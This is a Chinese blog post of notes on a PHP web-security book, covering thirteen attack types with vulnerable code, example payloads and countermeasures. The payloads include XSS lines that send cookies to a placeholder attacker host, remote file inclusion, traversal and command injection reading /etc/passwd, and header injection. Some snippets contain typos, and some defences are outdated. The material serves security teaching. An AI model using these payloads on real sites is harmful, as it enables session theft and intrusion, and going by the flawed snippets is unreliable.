2013年6月28日 星期五

《網頁程式駭客攻防實戰-以PHP 為例》筆記

一、實際攻擊 Web 應用程式

1.PHP 常見漏洞之攻擊與防範:

自行參閱:PHP漏洞全解(详细介绍)




二、13 種攻擊手法總動員

1.讓別人點連結執行 JavaScript - XSS

(1)顯示某筆資料的 ID 紀錄:
  • 攻擊目標:
echo $_GET['id'];

  • 攻擊手法:
http://被攻擊方id=<script>document.location='http://攻擊方'+document.cookie;</script>


(2)將表單的處理位址指定此 URL 本身:

  • 攻擊目標:
<form method="POST" action="<?php echo $_SERVER['PHP_SELF']; ?>">

  • 攻擊手法:
http://被攻擊方" onmouseover=" document.location='http://攻擊方'+document.cookie;


(3)防範對策:

  • 輸出時消毒法:
htmlspecialchars($_GET['xxx'], ENT_QUOTES);

  • 收到請求變數時,就配合型別做適當的轉換:
整數 -> intval($_POST["xx"])
字串 -> addslashes($_POST["xx"])


2.將 JavaScript 植入網頁內容 - Script Insertion

(1)攻擊目標:
  • 將以 RSS/ATOM 取得的標頭資訊直接顯示在瀏覽器上。
  • 允許上傳圖片之類的檔案,而將檔案的 MINE-Type 輸出在第三者瀏覽器畫面上。
  • 允許上傳圖片之類的檔案,而將圖片的 EXIF 輸出在第三者瀏覽器畫面上。
  • 允許連結或上傳 Flash 檔案,而該 Flash 可能會在第三者的瀏覽器上顯示。
  • 將 $_SERVER['HTTP_REFERER'] 之類的 SERVER 變數(來源資訊等)輸出在第三者瀏覽器畫面上。
  • 允許不特定多數人投稿,且在第三者瀏覽器上輸出這些投稿、儲存的資料沒有經過消毒。

(2)攻擊手法:
  • 對 RSS 讀取來源網站送出包含 JavaScript 的投稿。
  • 用改過的瀏覽器或 talnet 等方式,在 POST 資料的 Content-Type 裡植入 JavaScript。
  • 將 JavaScript 寫入圖片的 EXIF 資料後投稿。
  • 在 swf 檔案裡植入 JavaScript 以後投稿或張貼網址。
  • 用改過的瀏覽器或 talnet 等方式,在來源資料裡寫入 JavaScript 後瀏覽網頁(當網頁會公開顯示來源資訊時)。
  • 投稿包含 JavaScript 的文字內容。

(3)防範對策:
  • 輸出時消毒法:
htmlspecialchars($_GET['xxx'], ENT_QUOTES);

  • 收到請求變數時,就配合型別做適當的轉換:
整數 -> intval($_POST["xx"])
字串 -> addslashes($_POST["xx"])

  • 降低型別自由度:
資料庫在儲存資料時,最好以數值型別儲存。字串型別最好限制30字左右。


3.奪取資料庫查詢 - SQL Injection

(1)顯示出 id 所指定之留言作者暱稱
  • 攻擊目標:
$result = mysql_query("SELECT name FROM bbs WHERE id='".$_GET['id']."'");

  • 攻擊手法:
http://被攻擊方id=1' UNION SELECT pass FROM bbs WHERE id=1 ORDER BY 1 DESC /*

(2)依照 GET 所指定的順序依序取得所有資料:
  • 攻擊目標:
$sqlorder = $_GET['order']);
mysql_query("SELECT * FROM bbs ORDER BY $sqlorder");

  • 攻擊手法:
http://被攻擊方order=1;(任意SQL碼)

(3)防範對策:
  • 收到請求變數時,就配合型別做適當的轉換:
整數 -> intval($_POST["xx"])
字串 -> addslashes($_POST["xx"])

  • 產生查詢敘述時跳脫 ' 與 " 特殊符號:
$sqlorder = in_array($_GET['order'], array( 'name ASC', 'postdate DESC')) ? $_GET['order'] : 'postdate DESC';


4.強制執行非意圖的操作 - CSRF

(1)攻擊目標:「管理者」只要點選連結就可以刪除文章
if($user->isAdmin() && $_GET['delete_ok'] == 1) { ... }

(2)攻擊手法:使用 Webmail 等方法,讓「管理者」瀏覽器讀到底下的 HTML
<img src="http://被攻擊方id=1&delete_ok=1" />

(3)防範對策:
  • 檢查來源,若不是來自站內就擋掉。
  • 顯示表單時,建立出門票與票根,將門票以 hidden 欄位隱藏在表單裡,而票根存在 session 裡。實際進行 POST 時,先確認 POST 的門票與票根是否一致,再清除票根:
if($user->isAdmin() && $_GET['delete_ok'] ==1 && $myTicket->check()){ ... }
  • 重大操作時,使用 POST 來確認。處理變數時也不要使用 $_REQUEST。

5.逃避檔名等檢查機制 - NUL 字元攻擊

(1)只讀取副檔名是 dat 的檔案並顯示:
  • 攻擊目標:
if($_GET['data_file'], -3) == 'dat'){read file( basename($_GET['data_file']));}

  • 攻擊手法:
http://被攻擊方data_file=index.phpdat

(2)阻擋控制字元後就進行頁面重導:
  • 攻擊目標:
if( ! ereg( '[[:cntrl:]]' , $redirect_uri)) { header( 'Location: '.$_GET['redirect_uri'] ) ; exit; }

  • 攻擊手法:

http://被攻擊方redirect_uri=%0d%0aSet-Cookie:%20PHPSESSID=ASYOULIKE;max-age=10000000;paht=/

(3)防範對策:
  • 刪除所有 NUL 字元:
function sanitize($arr){if (is_array($arr)){return array_may('sanitize', $arr);}return str_replace("\0", "", $arr);} $_GET = sanitize($_GET); $_POST = sanitize($_POST); $_COOKIE = sanitize($_COOKIE);


6.存取預料之外的路徑 - Directory Traversal 攻擊

(1)顯示 GET 變數 data_file 指定的檔案:
  • 攻擊目標:
readfile( '/home/user/data/' .$_GET['data_file']);

  • 攻擊手法:
http://被攻擊方data_file=../../../etc/passwd

(2)在 GET 變數 file_node 所指定的檔名加上副檔名.dat 後顯示:
  • 攻擊目標:
readfile( '/home/user/data/' .$_GET['file_node'] .'.dat');

  • 攻擊手法:
http://被攻擊方file_node=../../../etcpasswd


(3)防範對策:
  • 使用陣列定義可開啓的檔案:
if( ! in_array( $_GET['data_file'] , (可開啓的檔案清單) ) ) exit; {readfile('/home/user/data/' .$_GET('data_file']);

  • 使用basename()處理檔名:
readfile( '/home/user/data' .basename($_GET['data_file']));


7.從外部操作 session 等變數 - 變數汙染攻擊

(1)攻擊目標:在專用於引入檔案的 PHP 檔案 include/common.php 的最前面,以如下程式碼引入設定檔。
include_once $my_root.'/include/config.php';

(2)攻擊手法:
http://被攻擊方/include/common.php?my_root=http://攻擊方

(3)防範對策:
  • 檢查 $_GET、$_POST、$_COOKIE,當找到特定關鍵字時停止處理:
foreach (array($_GET, $_POST, $_COOKIE) as $arr) { if(! empty($arr['_SESSION']) || ! empty($arr['_COOKIE']) || ! empty($arr['_SERVER']) || ! empty($arr['_ENV']) || ! empty($arr['_FILES']) || ! empty($arr['_POST']) || ! empty($arr['_GET']) || ! empty($arr['_GLOBALS']) ) exit;}

  • 刪除將 $_GET 全域變數以 foreach() 或 extract() 加以展開的程式碼,改成使用 $_GET[(index)] 來指定。
  • 將願意接受的請求變數名稱列出,在程式最前面 unset 掉所有不在表內的請求變數。


8.讓人讀取惡意 HTTP 回應 - HTTP 回應分割攻擊

(1)更新資料庫後,重新導回同一頁:
  • 攻擊目標:
if( $_GET['dopost']{ header( "Location: http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']);}

  • 攻擊手法:
http://被攻擊方/%0d%0aSet-Cookie:%20PHPSESSID=ASYOULIKE;max-age=10000000;path=/?dopost=1

(2)使用 PHP 預設的 session(session.use_only_cookies 為 off):
  • 攻擊目標:
session_start();

  • 攻擊手法:
http://被攻擊方PHPSESSID=a%0d%0a(任意 HTTP 回應表頭)

(3)防範對策:
  • 將傳遞給 header() 函式的引數,都刪掉 CR 與 LF:
header( "http://".$_SERVER[ 'HTTP_HOST' ].strtr( $_SERVER['PHP_SELF'] , array( "\r"=>"", "\n"=>""));

  • session.use_only_cookies 改成 on:
ini_set( 'session.use_only_cookies' , 1); session_start();


9.讀取任意檔案並執行 - 引入攻擊

(1)讀入以 GET 變數指定的 skin_file:

  • 攻擊目標:
include $_GET['skin_file'];

  • 攻擊手法1:
http://被攻擊方skin_file=http://攻擊方/檔案

  • 攻擊手法2:
http://被攻擊方skin_file=php://input

(2)include 敘述:
  • 攻擊目標1:
include $_GET[ 'filenode']/'.dat';

  • 攻擊目標2:
include '/home/mydata/' .$_GET['filename'];

  • 攻擊手法1:
http://被攻擊方filenode=/etc/passwd

  • 攻擊手法2:
http://被攻擊方filename=../../etc/passwd

(3)防範對策:
  • 修改 php.ini:
allow_url_fopen = off

  • 檔名加上 basename() 處理過後再 include:
include basename( $_GET['skin_file']);

  • 將可開啓的檔案先存在陣列裡,碰到陣列裡沒有的值就中斷處理:
if( ! in_array( $_GET['skin_file'] , (允許的檔案清單) ) ) exit; { include $_GET['skin_file']; }


10.執行任意 PHP 程式碼 - eval 盜用攻擊

(1)攻擊目標:對 $string 動態套用過濾器:
(register_globals on 或是有做全域變數展開時) $string = call_user_func( $filter_func, $from, $to, $string);

(2)攻擊手法:
http://被攻擊方filter_func=preg_replace&from=/^/e&to=phpinfo();

(3)防範對策:
  • 當 eval() 的引數或 preg_replace() 的第二引數夾雜請求時,只允許對該情求而言可預料的傳入值。
  • 改用 preg_replace_callback()
  • 當回呼函式的名稱是以請求變數指定時,只允許使用事先存放於陣列裡的函式。


11.執行任意外部指令 - 外部指令執行攻擊

(1)顯示 dir 所指定的子目錄內容(已做 Directory Traversal 工及防護):
  • 攻擊目標:
echo "<pre>"; system( "ls -al" .str_replace( '..', '', './' . @$_GET['dir']));

  • 攻擊手法:
http://被攻擊方dir=| cat /etc/passwd

(2)顯示 dir 所指定的子目錄內容(已使用黑名單方式排除前述「|」之類的字元):

  • 攻擊目標:
echo "<pre>"; system( "ls -al" .strtr( @$_GET['dir'] , array( '..' => '' , '|' => '')));

  • 攻擊手法:
http://被攻擊方dir=--version

(3)防範對策:
  • 對傳遞給外部指令的引數,以 escapeshellarg() 函式處理過:
system( "ls -al" .escapeshellarg(str_replace('..', '', './'.@$_GET['dir'])));

  • 建立可供 system 函式呼叫的外部指令引數列表,只讓符合該表的字串通過:
$dir = basename( $_GET['dir']); if( ! is_dir( $dir )) exit; echo "<pre>"; system( "ls -al" .$dir);

  • 修改php.ini:
safe_mode on
safe_mode_exec_dir = /usr/local/lib/php/safe_mode_bin(放入允許執行之外部程式的檔案)


12.執行上傳的檔案 - 檔案上傳攻擊

(1)攻擊目標:供人上傳檔案,並原封不動以原檔名存在於公開資料夾 images 下。

(2)攻擊手法:
http://被攻擊方/images/惡意程式碼.php

(3)防範對策:
  • 不要將檔案儲存在公開資料夾,應隱藏檔案路徑,並將檔案名稱改成沒有副檔名的隨機檔名儲存。
  • 從 $_FILE[]['name'] 取得副檔名,只允許上傳許可的檔案類型。


13.挾持第三者的 session - session 挾持

(1)攻擊目標:在允許以 cookie 之外方式指定 session 鍵情況下啓用 session:
session_start();

(2)以任何方式讓管理者或其他訪客點到如下連結。PHPSESSID 可改成目標網站使用的 session 名稱:
<a href='http://被攻擊方PHPSESSID=xxxxxxxx'>

(3)防範對策:
  • 修改php.ini:
session.use_trans_sid = 0
session.use_cookies = 1
session.use_only_cookies = 1
session.auto_start = 0

  • 檢查IP位址
  • 定期改變 session 鍵:
session_regenerate_id(true);




三、php.ini安全性調整

1.php.ini 中文說明:

自行參閱(1):php.ini 核心配置选项说明

自行參閱(2):php.ini設定檔中文說明


2.php.ini設置

自行參閱(1):有关php.ini配置文件的安全设置

自行參閱(2):php.ini 上传文件配置及安全配置




四、撰寫php安全規則

1.撰寫php安全規則:

自行參閱:php程序员编写的代码安全

沒有留言:

張貼留言